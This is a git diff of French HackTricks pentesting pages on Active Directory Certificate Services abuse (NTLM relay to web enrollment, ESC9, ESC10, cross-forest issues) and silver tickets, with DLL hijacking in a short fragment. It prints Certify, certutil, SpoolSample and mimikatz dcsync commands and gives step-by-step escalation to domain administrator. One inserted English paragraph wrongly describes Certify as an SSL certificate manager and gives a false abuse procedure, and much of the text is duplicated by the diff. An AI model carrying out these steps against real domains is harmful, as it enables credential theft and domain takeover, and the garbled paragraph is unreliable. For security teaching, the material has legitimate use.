AD CS prend en charge plusieurs **méthodes d'inscription de certificats basées sur HTTP** via des rôles de serveur AD CS supplémentaires que les administrateurs peuvent installer. Ces interfaces d'inscription de certificats basées sur HTTP sont toutes des **attaques de relais NTLM vulnérables**. En utilisant le relais NTLM, un attaquant sur une **machine compromise peut se faire passer pour n'importe quel compte AD authentifié par NTLM entrant**. Tout en se faisant passer pour le compte de la victime, un attaquant pourrait accéder à ces interfaces web et **demander un certificat d'authentification de client basé sur les modèles de certificat `User` ou `Machine`**.
|
||||
AD CS prend en charge plusieurs **méthodes d'inscription basées sur HTTP** via des rôles de serveur AD CS supplémentaires que les administrateurs peuvent installer. Ces interfaces d'inscription de certificat basées sur HTTP sont toutes des **attaques de relais NTLM vulnérables**. En utilisant le relais NTLM, un attaquant sur une **machine compromise peut se faire passer pour n'importe quel compte AD authentifiant via NTLM**. Tout en se faisant passer pour le compte de la victime, un attaquant pourrait accéder à ces interfaces web et **demander un certificat d'authentification client basé sur les modèles de certificat `User` ou `Machine`**.
|
||||
|
||||
* L'**interface d'inscription web** (une application ASP au look plus ancien accessible à `http://<caserver>/certsrv/`), par défaut ne prend en charge que HTTP, qui ne peut pas se protéger contre les attaques de relais NTLM. De plus, il ne permet explicitement que l'authentification NTLM via son en-tête HTTP Authorization, de sorte que des protocoles plus sécurisés comme Kerberos sont inutilisables.
|
||||
* Le **Service d'inscription de certificats** (CES), le **Service Web de stratégie d'inscription de certificats** (CEP) et le **Service d'inscription de périphériques réseau** (NDES) prennent en charge l'authentification de négociation par défaut via leur en-tête HTTP Authorization. L'authentification de négociation **prend en charge** Kerberos et **NTLM**; par conséquent, un attaquant peut **négocier jusqu'à l'authentification NTLM** lors d'attaques de relais. Ces services web permettent au moins HTTPS par défaut, mais malheureusement HTTPS en soi ne **protège pas contre les attaques de relais NTLM**. Seulement lorsque HTTPS est couplé à la liaison de canal, les services HTTPS peuvent être protégés contre les attaques de relais NTLM. Malheureusement, AD CS n'active pas la protection étendue pour l'authentification sur IIS, qui est nécessaire pour activer la liaison de canal.
|
||||
* L'interface d'inscription web (une application ASP au look plus ancien accessible à `http://<caserver>/certsrv/`), par défaut, ne prend en charge que HTTP, ce qui ne peut pas protéger contre les attaques de relais NTLM. De plus, elle n'autorise explicitement que l'authentification NTLM via son en-tête HTTP d'autorisation, de sorte que des protocoles plus sécurisés comme Kerberos sont inutilisables.
|
||||
* Le **Service d'inscription de certificat** (CES), le **Service Web de stratégie d'inscription de certificat** (CEP) et le **Service d'inscription des périphériques réseau** (NDES) prennent en charge par défaut l'authentification de négociation via leur en-tête HTTP d'autorisation. L'authentification de négociation **prend en charge** Kerberos et **NTLM** ; par conséquent, un attaquant peut **négocier jusqu'à l'authentification NTLM** lors d'attaques de relais. Ces services web activent au moins HTTPS par défaut, mais malheureusement, HTTPS en lui-même ne **protège pas contre les attaques de relais NTLM**. Ce n'est que lorsque HTTPS est associé à la liaison de canal que les services HTTPS peuvent être protégés contre les attaques de relais NTLM. Malheureusement, AD CS n'active pas la protection étendue pour l'authentification sur IIS, ce qui est nécessaire pour activer la liaison de canal.
|
||||
|
||||
Les **problèmes** courants avec les attaques de relais NTLM sont que les **sessions NTLM sont généralement courtes** et que l'attaquant **ne peut pas** interagir avec les services qui **imposent la signature NTLM**.
|
||||
Les **problèmes** courants avec les attaques de relais NTLM sont que les **sessions NTLM sont généralement courtes** et que l'attaquant **ne peut pas** interagir avec des services qui **imposent la signature NTLM**.
|
||||
|
||||
Cependant, l'abus d'une attaque de relais NTLM pour obtenir un certificat pour l'utilisateur résout ces limitations, car la session vivra aussi longtemps que le certificat est valide et le certificat peut être utilisé pour utiliser des services **imposant la signature NTLM**. Pour savoir comment utiliser un certificat volé, consultez :
|
||||
Cependant, l'abus d'une attaque de relais NTLM pour obtenir un certificat à l'utilisateur résout ces limitations, car la session restera active tant que le certificat sera valide et le certificat peut être utilisé pour utiliser des services **imposant la signature NTLM**. Pour savoir comment utiliser un certificat volé, consultez :
|
||||
|
||||
{% content-ref url="account-persistence.md" %}
|
||||
[account-persistence.md](account-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Une autre limitation des attaques de relais NTLM est qu'elles **nécessitent qu'un compte victime s'authentifie auprès d'une machine contrôlée par l'attaquant**. Un attaquant pourrait attendre ou pourrait essayer de **le forcer** :
|
||||
Une autre limitation des attaques de relais NTLM est qu'elles **nécessitent qu'un compte victime s'authentifie sur une machine contrôlée par l'attaquant**. Un attaquant pourrait attendre ou essayer de **le forcer** :
|
||||
|
||||
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||
|
@ -365,18 +365,36 @@ La commande `cas` de **Certify** peut énumérer les **points de terminaison HTT
|
|||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
Les autorités de certification d'entreprise stockent également les points de terminaison CES dans leur objet AD dans la propriété `msPKI-Enrollment-Servers`. Certutil.exe et PSPKI peuvent analyser et répertorier ces points de terminaison :
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Les CAs d'entreprise stockent également les points de terminaison CES dans leur objet AD dans la propriété `msPKI-Enrollment-Servers`. Certutil.exe et PSPKI peuvent analyser et répertorier ces points de terminaison :
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption>Figure : Exemple de certificat de domaine</figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
```powershell
|
||||
Import-Module PSPKI
|
||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Abus avec Certify
|
||||
|
||||
Certify is a popular tool used for managing SSL/TLS certificates on Windows systems. However, it can also be abused by attackers to escalate their privileges within an Active Directory domain.
|
||||
|
||||
The abuse of Certify involves the following steps:
|
||||
|
||||
1. **Obtain a low-privileged domain user account**: The attacker needs to gain access to a low-privileged domain user account within the target Active Directory domain.
|
||||
|
||||
2. **Install Certify**: The attacker installs Certify on their machine and configures it to use the target domain's Certificate Authority (CA).
|
||||
|
||||
3. **Request a certificate**: Using Certify, the attacker requests a certificate for their low-privileged domain user account.
|
||||
|
||||
4. **Export the certificate**: Once the certificate is issued, the attacker exports it from Certify.
|
||||
|
||||
5. **Import the certificate**: The attacker imports the exported certificate into their own user account on the target domain.
|
||||
|
||||
6. **Escalate privileges**: By importing the certificate, the attacker gains the privileges associated with the certificate, which may include administrative access or other elevated permissions within the domain.
|
||||
|
||||
This abuse of Certify can be a powerful technique for privilege escalation within an Active Directory domain. It is important for administrators to be aware of this potential vulnerability and take steps to secure their Certificate Authorities and monitor certificate requests and imports.
|
||||
```bash
|
||||
## In the victim machine
|
||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||
|
@ -393,7 +411,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
|||
```
|
||||
#### Abus avec [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
Par défaut, Certipy demandera un certificat basé sur le modèle `Machine` ou `User` en fonction de si le nom de compte relayé se termine par `$`. Il est possible de spécifier un autre modèle avec le paramètre `-template`.
|
||||
Par défaut, Certipy demandera un certificat basé sur le modèle `Machine` ou `User` en fonction de si le nom du compte relayé se termine par `$`. Il est possible de spécifier un autre modèle avec le paramètre `-template`.
|
||||
|
||||
Nous pouvons ensuite utiliser une technique telle que [PetitPotam](https://github.com/ly4k/PetitPotam) pour forcer l'authentification. Pour les contrôleurs de domaine, nous devons spécifier `-template DomainController`.
|
||||
```
|
||||
|
@ -412,9 +430,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
|
||||
### Explication
|
||||
|
||||
ESC9 fait référence à la nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) de **`msPKI-Enrollment-Flag`**. Si ce drapeau est défini sur un modèle de certificat, la nouvelle extension de sécurité **`szOID_NTDS_CA_SECURITY_EXT`** ne sera **pas** intégrée. ESC9 est utile uniquement lorsque `StrongCertificateBindingEnforcement` est défini sur `1` (par défaut), car une configuration de mappage de certificat plus faible pour Kerberos ou Schannel peut être exploitée comme ESC10 - sans ESC9 - car les exigences seront les mêmes.
|
||||
ESC9 fait référence à la nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) de **`msPKI-Enrollment-Flag`**. Si ce drapeau est défini sur un modèle de certificat, la nouvelle extension de sécurité **`szOID_NTDS_CA_SECURITY_EXT`** ne sera pas intégrée. ESC9 est uniquement utile lorsque `StrongCertificateBindingEnforcement` est défini sur `1` (par défaut), car une configuration de mappage de certificat plus faible pour Kerberos ou Schannel peut être exploitée comme ESC10 - sans ESC9 - car les exigences seront les mêmes.
|
||||
|
||||
* `StrongCertificateBindingEnforcement` n'est pas défini sur `2` (par défaut: `1`) ou `CertificateMappingMethods` contient le drapeau `UPN`
|
||||
* `StrongCertificateBindingEnforcement` n'est pas défini sur `2` (par défaut : `1`) ou `CertificateMappingMethods` contient le drapeau `UPN`
|
||||
* Le certificat contient le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans la valeur `msPKI-Enrollment-Flag`
|
||||
* Le certificat spécifie n'importe quelle EKU d'authentification client
|
||||
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B
|
||||
|
@ -423,11 +441,11 @@ ESC9 fait référence à la nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`**
|
|||
|
||||
Dans ce cas, `John@corp.local` a `GenericWrite` sur `Jane@corp.local`, et nous souhaitons compromettre `Administrator@corp.local`. `Jane@corp.local` est autorisée à s'inscrire dans le modèle de certificat `ESC9` qui spécifie le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans la valeur `msPKI-Enrollment-Flag`.
|
||||
|
||||
Tout d'abord, nous obtenons le hash de `Jane` avec, par exemple, Shadow Credentials (en utilisant notre `GenericWrite`).
|
||||
Tout d'abord, nous obtenons le hachage de `Jane` avec, par exemple, Shadow Credentials (en utilisant notre `GenericWrite`).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `Administrator`. Remarquez que nous laissons de côté la partie `@corp.local`.
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -439,11 +457,11 @@ Maintenant, nous demandons le modèle de certificat vulnérable `ESC9`. Nous dev
|
|||
|
||||
Remarquez que le `userPrincipalName` dans le certificat est `Administrator` et que le certificat délivré ne contient aucun "SID d'objet".
|
||||
|
||||
Ensuite, nous changeons à nouveau le `userPrincipalName` de `Jane` pour qu'il soit quelque chose d'autre, comme son `userPrincipalName` d'origine `Jane@corp.local`.
|
||||
Ensuite, nous rétablissons le `userPrincipalName` de `Jane` pour qu'il soit autre chose, comme son `userPrincipalName` d'origine `Jane@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (24) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Maintenant, si nous essayons de nous authentifier avec le certificat, nous recevrons le hash NT de l'utilisateur `Administrator@corp.local`. Vous devrez ajouter `-domain <domain>` à votre ligne de commande car aucun domaine n'est spécifié dans le certificat.
|
||||
Maintenant, si nous essayons de nous authentifier avec le certificat, nous recevrons le hachage NT de l'utilisateur `Administrator@corp.local`. Vous devrez ajouter `-domain <domaine>` à votre ligne de commande car aucun domaine n'est spécifié dans le certificat.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -455,4 +473,108 @@ ESC10 fait référence à deux valeurs de clé de registre sur le contrôleur de
|
|||
|
||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`. Valeur par défaut `0x18` (`0x8 | 0x10`), précédemment `0x1F`.
|
||||
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\Current
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`. Valeur par défaut `1`, précédemment `0`.
|
||||
|
||||
**Cas 1**
|
||||
|
||||
`StrongCertificateBindingEnforcement` défini sur `0`
|
||||
|
||||
**Cas 2**
|
||||
|
||||
`CertificateMappingMethods` contient le bit `UPN` (`0x4`)
|
||||
|
||||
### Abus Cas 1
|
||||
|
||||
* `StrongCertificateBindingEnforcement` défini sur `0`
|
||||
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B
|
||||
|
||||
Dans ce cas, `John@corp.local` a `GenericWrite` sur `Jane@corp.local`, et nous souhaitons compromettre `Administrator@corp.local`. Les étapes d'abus sont presque identiques à ESC9, sauf que n'importe quel modèle de certificat peut être utilisé.
|
||||
|
||||
Tout d'abord, nous obtenons le hachage de `Jane` avec, par exemple, Shadow Credentials (en utilisant notre `GenericWrite`).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (19).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `Administrator`. Remarquez que nous omettons la partie `@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cela ne viole pas de contrainte, car le `userPrincipalName` de l'utilisateur `Administrator` est `Administrator@corp.local` et non `Administrator`.
|
||||
|
||||
Maintenant, nous demandons n'importe quel certificat qui permet l'authentification client, par exemple le modèle `User` par défaut. Nous devons demander le certificat en tant que `Jane`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Remarquez que le `userPrincipalName` dans le certificat est `Administrator`.
|
||||
|
||||
Ensuite, nous rétablissons le `userPrincipalName` de `Jane` pour qu'il soit autre chose, comme son `userPrincipalName` d'origine `Jane@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Maintenant, si nous essayons de nous authentifier avec le certificat, nous recevrons le hachage NT de l'utilisateur `Administrator@corp.local`. Vous devrez ajouter `-domain <domaine>` à votre ligne de commande car aucun domaine n'est spécifié dans le certificat.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Abus Cas 2
|
||||
|
||||
* `CertificateMappingMethods` contient le drapeau `UPN` (`0x4`)
|
||||
* `GenericWrite` sur n'importe quel compte A pour compromettre n'importe quel compte B sans propriété `userPrincipalName` (comptes machine et administrateur de domaine intégré `Administrator`)
|
||||
|
||||
Dans ce cas, `John@corp.local` a `GenericWrite` sur `Jane@corp.local`, et nous souhaitons compromettre le contrôleur de domaine `DC$@corp.local`.
|
||||
|
||||
Tout d'abord, nous obtenons le hachage de `Jane` avec, par exemple, Shadow Credentials (en utilisant notre `GenericWrite`).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `DC$@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (18) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cela ne viole pas de contrainte, car le compte d'ordinateur `DC$` n'a pas de `userPrincipalName`.
|
||||
|
||||
Maintenant, nous demandons n'importe quel certificat qui permet l'authentification client, par exemple le modèle `User` par défaut. Nous devons demander le certificat en tant que `Jane`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (20) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
Ensuite, nous modifions à nouveau le `userPrincipalName` de `Jane` pour qu'il soit autre chose, comme son `userPrincipalName` d'origine (`Jane@corp.local`).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Maintenant, étant donné que cette clé de registre s'applique à Schannel, nous devons utiliser le certificat pour l'authentification via Schannel. C'est là que la nouvelle option `-ldap-shell` de Certipy entre en jeu.
|
||||
|
||||
Si nous essayons de nous authentifier avec le certificat et `-ldap-shell`, nous remarquerons que nous sommes authentifiés en tant que `u:CORP\DC$`. Il s'agit d'une chaîne envoyée par le serveur.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (21) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
L'une des commandes disponibles pour le shell LDAP est `set_rbcd`, qui permet de définir une délégation contrainte basée sur les ressources (RBCD) sur la cible. Ainsi, nous pourrions effectuer une attaque RBCD pour compromettre le contrôleur de domaine.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Alternativement, nous pouvons également compromettre n'importe quel compte utilisateur pour lequel aucun `userPrincipalName` n'est défini ou lorsque le `userPrincipalName` ne correspond pas au `sAMAccountName` de ce compte. D'après mes propres tests, l'administrateur de domaine par défaut `Administrator@corp.local` n'a pas de `userPrincipalName` défini par défaut, et ce compte devrait par défaut avoir plus de privilèges dans LDAP que les contrôleurs de domaine.
|
||||
|
||||
## Compromettre les forêts avec des certificats
|
||||
|
||||
### Rupture des confiances des AC pour les forêts de confiance
|
||||
|
||||
La configuration de l'**inscription inter-forêts** est relativement simple. Les administrateurs publient le **certificat de l'AC racine** de la forêt de ressources **dans les forêts de compte** et ajoutent les certificats de l'**AC d'entreprise** de la forêt de ressources aux conteneurs **`NTAuthCertificates`** et AIA **dans chaque forêt de compte**. Pour être clair, cela signifie que l'**AC** de la forêt de ressources a **un contrôle total** sur toutes les **autres forêts pour lesquelles elle gère la PKI**. Si des attaquants **compromettent cette AC**, ils peuvent **contrefaire des certificats pour tous les utilisateurs des forêts de ressources et de compte**, en rompant la frontière de sécurité de la forêt.
|
||||
|
||||
### Principaux étrangers avec des privilèges d'inscription
|
||||
|
||||
Une autre chose dont les organisations doivent se méfier dans les environnements multi-forêts est lorsque les AC d'entreprise **publient des modèles de certificats** qui accordent aux **Utilisateurs authentifiés ou aux principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle appartient l'AC d'entreprise) des **droits d'inscription et de modification**.\
|
||||
Lorsqu'un compte **s'authentifie via une confiance**, AD ajoute le **SID des Utilisateurs authentifiés** au jeton de l'utilisateur authentifiant. Par conséquent, si un domaine dispose d'une AC d'entreprise avec un modèle qui **accorde aux Utilisateurs authentifiés des droits d'inscription**, un utilisateur d'une autre forêt pourrait potentiellement **s'inscrire dans le modèle**. De même, si un modèle accorde explicitement des **droits d'inscription à un principal étranger**, une **relation de contrôle d'accès inter-forêts est créée**, permettant à un principal d'une forêt de **s'inscrire dans un modèle d'une autre forêt**.
|
||||
|
||||
En fin de compte, ces deux scénarios **augmentent la surface d'attaque** d'une forêt à une autre. Selon les paramètres du modèle de certificat, un attaquant pourrait exploiter cela pour obtenir des privilèges supplémentaires dans un domaine étranger.
|
||||
|
||||
## Références
|
||||
|
||||
* Toutes les informations de cette page ont été tirées de [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -24,7 +24,7 @@ L'attaque du ticket d'argent est basée sur **la création d'un TGS valide pour
|
|||
|
||||
Dans ce cas, le **hachage NTLM d'un compte d'ordinateur** (qui est une sorte de compte utilisateur dans AD) est **possédé**. Par conséquent, il est possible de **créer** un **ticket** afin de **pénétrer dans cette machine** avec des privilèges d'**administrateur** via le service SMB. Les comptes d'ordinateur réinitialisent leurs mots de passe tous les 30 jours par défaut.
|
||||
|
||||
Il faut également prendre en compte qu'il est possible ET **PRÉFÉRABLE** (opsec) de **falsifier des tickets en utilisant les clés Kerberos AES (AES128 et AES256)**. Pour savoir comment générer une clé AES, consultez : [section 4.4 de MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) ou le [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
|
||||
Il faut également prendre en compte qu'il est possible ET **PRÉFÉRABLE** (opsec) de **falsifier des tickets en utilisant les clés Kerberos AES (AES128 et AES256)**. Pour savoir comment générer une clé AES, consultez la section 4.4 de MS-KILE ou le script [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
|
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
|
@ -168,7 +168,7 @@ Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -22,7 +22,7 @@ Si vous êtes intéressé par une **carrière en piratage** et que vous voulez p
|
|||
|
||||
Tout d'abord, clarifions la définition. Le détournement de DLL consiste, dans le sens le plus large, à **tromper une application légitime/fiable pour qu'elle charge une DLL arbitraire**. Les termes tels que _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ et _DLL Side-Loading_ sont souvent - à tort - utilisés pour dire la même chose.
|
||||
|
||||
Le détournement de DLL peut être utilisé pour **exécuter** du code, obtenir **une persistance** et **élever les privilèges**. Parmi ces 3 options, l'**élévation de privilèges** est de loin la moins probable à trouver. Cependant, comme cela fait partie de la section sur l'élévation de privilèges, je me concentrerai sur cette option. Notez également que, indépendamment de l'objectif, un détournement de DLL est effectué de la même manière.
|
||||
Le détournement de DLL peut être utilisé pour **exécuter** du code, obtenir **une persistance** et **escalader les privilèges**. Parmi ces 3 options, l'escalade de privilèges est de loin la moins probable à trouver. Cependant, comme cela fait partie de la section sur l'escalade de privilèges, je me concentrerai sur cette option. Notez également que, indépendamment de l'objectif, un détournement de DLL est effectué de la même manière.
|
||||
|
||||
### Types
|
||||
|
||||
|
@ -48,7 +48,7 @@ et affichez simplement l'**activité du système de fichiers** :
|
|||
![](<../../.gitbook/assets/image (314).png>)
|
||||
|
||||
Si vous recherchez des **DLL manquantes en général**, vous **laissez** cela s'exécuter pendant quelques **secondes**.\
|
||||
Si vous recherchez une **DLL manquante dans un exécutable spécifique**, vous devez définir **un autre filtre comme "Nom du processus" "contient" "\<nom de l'exécutable>", l'exécuter, puis arrêter la capture des événements**.
|
||||
Si vous recherchez une **DLL manquante dans un exécutable spécifique**, vous devez définir **un autre filtre comme "Nom du processus" "contient" "\<nom de l'exécutable>", l'exécuter et arrêter la capture des événements**.
|
||||
## Exploitation des DLL manquantes
|
||||
|
||||
Pour escalader les privilèges, notre meilleure chance est de pouvoir **écrire une DLL qu'un processus privilégié tentera de charger** dans un endroit où elle sera recherchée. Ainsi, nous pourrons **écrire** une DLL dans un **dossier** où la DLL est recherchée avant le dossier où se trouve la **DLL d'origine** (cas étrange), ou nous pourrons **écrire dans un dossier où la DLL sera recherchée** et où la **DLL d'origine n'existe pas** dans aucun dossier.
|
||||
|
@ -72,7 +72,7 @@ C'est l'**ordre de recherche par défaut avec SafeDllSearchMode activé**. Lorsq
|
|||
|
||||
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** charge.
|
||||
|
||||
